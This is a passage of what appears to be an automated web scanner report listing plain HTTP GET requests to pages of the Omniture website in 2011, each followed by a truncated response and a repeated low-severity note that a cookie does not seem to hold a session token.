GET /en/products/visitor_acquisition HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 18:59:18 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 18:59:18 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 18:59:18 GMT Content-Length: 23448 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 18:59:18 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Visitor Acquisition | Search En ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/products/visitor_acquisition/searchcenter HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 18:59:58 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 18:59:58 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 18:59:58 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 18:59:58 GMT; path=/; domain=omniture.com Content-Length: 34152
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Search Engine Marketing, PPC Bi ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/resources HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:13:38 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:13:38 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:13:39 GMT Content-Length: 31803 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:13:38 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Online Business Optimization Re ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/resources/articles HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:14:58 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:14:58 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:14:58 GMT Content-Length: 26730 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:14:58 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture | Articles</title>
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/resources/case_studies HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:14:27 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:14:27 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:14:27 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:14:27 GMT; path=/; domain=omniture.com Content-Length: 49831
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Success Stories | Online Busine ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/resources/cmo.com HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:15:37 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:15:37 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:15:37 GMT Content-Length: 22161 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:15:37 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>CMO.com by Omniture</title>
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/resources/guides HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:14:04 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:14:04 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:14:04 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:14:04 GMT; path=/; domain=omniture.com Content-Length: 46717
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Best Practices Guides | Online ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/resources/testimonials HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:14:50 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:14:50 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:14:50 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:14:50 GMT; path=/; domain=omniture.com Content-Length: 34476
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Testimonials | Online Business ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/resources/webinars HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:14:13 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:14:13 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:14:13 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:14:13 GMT; path=/; domain=omniture.com Content-Length: 48650
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Webinars | Online Business Opti ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/services/consulting HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:05:16 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:05:16 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:05:17 GMT Content-Length: 27864 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:05:16 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Services Implementation | Onlin ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/services/es HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:05:20 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:05:20 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:05:20 GMT Content-Length: 24111 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:05:20 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>The Omniture Engineering Servic ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/survey/5084 HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 05:50:21 GMT Cache-Control: no-store, no-cache, must-revalidate Last-Modified: Thu, 03 Feb 2011 05:50:21 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 05:50:21 GMT Content-Length: 4127 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 05:50:21 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Omniture | Survey</title>
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /en/surveys HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/3; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=natural_bookmark; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092330|check#true#1296673197|session#1296673129491-732177#1296674990; s_cc=true; use207=7; s_sv_s1=1@28@a//1296661247027/13731382181; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=c4b47f0affb47cea2cd263f6285f016c;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Thu, 03 Feb 2011 19:15:36 GMT Cache-Control: public, max-age=14400 Last-Modified: Wed, 02 Feb 2011 19:15:36 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Wed, 02 Feb 2011 19:15:36 GMT Content-Length: 23548 Connection: close Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Tue, 03-May-2011 19:15:36 GMT; path=/; domain=omniture.com
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//en" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="en" lang="en"> <head> <title>Online Marketing Surveys from A ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /es HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 05:52:45 GMT Cache-Control: public, max-age=14400 Last-Modified: Thu, 03 Feb 2011 05:52:45 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 05:52:45 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: cms_site_lang=7; expires=Sat, 05-Mar-2011 05:52:44 GMT; path=/; domain=omniture.com Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 05:52:45 GMT; path=/; domain=omniture.com Content-Length: 37646
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//es" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="es" lang="es"> <head> <title>Analisis Web | Le leader de l'o ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /fr HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 05:53:26 GMT Cache-Control: public, max-age=14400 Last-Modified: Thu, 03 Feb 2011 05:53:26 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 05:53:27 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: cms_site_lang=3; expires=Sat, 05-Mar-2011 05:53:26 GMT; path=/; domain=omniture.com Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 05:53:26 GMT; path=/; domain=omniture.com Content-Length: 38083
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//fr" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="fr" lang="fr"> <head> <title>Web analytics, Analyse de web | ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /jp HTTP/1.1 Host: www.omniture.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_sv_p1=1@15@s/5084/5072&e/5; s_sq=%5B%5BB%5D%5D; imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; s_cid=seo_other_referer; BIGipServerhttp_omniture=84542986.5892.0000; mbox=PC#1296661217505-786518.17#1299092434|check#true#1296673300|session#1296673129491-732177#1296675094; s_cc=true; use207=7; s_sv_s1=1@29@a//1296661247027/594025749283; search_stack=%5B%5B%22seo_other_referer%22%2C%221296673232401%22%5D%5D; campaign_stack=%5B%5B%22natural_bookmark%22%2C%221296661227060%22%5D%2C%5B%22seo_other_referer%22%2C%221296673199867%22%5D%5D; cms_site_lang=1; _jsuid=9633613657349828981; omniture_unique=8efaa0a698bb71e2eade7cb7d05cb14e;
Response
HTTP/1.1 200 OK Server: Omniture AWS/2.0.0 Expires: Fri, 04 Feb 2011 05:54:42 GMT Cache-Control: public, max-age=14400 Last-Modified: Thu, 03 Feb 2011 05:54:42 GMT P3P: CP="ALL DSP COR CURa ADMa DEVo PSAo CONo TELo OUR IND PHY ONL UNI COM NAV INT DEM STA" xserver: www5.dmz Content-Type: text/html; charset=utf-8 Date: Thu, 03 Feb 2011 05:54:42 GMT Connection: close Connection: Transfer-Encoding Set-Cookie: cms_site_lang=6; expires=Sat, 05-Mar-2011 05:54:42 GMT; path=/; domain=omniture.com Set-Cookie: imploded_vars=173.193.214.243%7CNow+Defined+by+Test+and+Target%7C; expires=Wed, 04-May-2011 05:54:42 GMT; path=/; domain=omniture.com Content-Length: 39109
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//jp" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xml:lang="jp" lang="jp"> <head> <title>Omniture - .................... ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
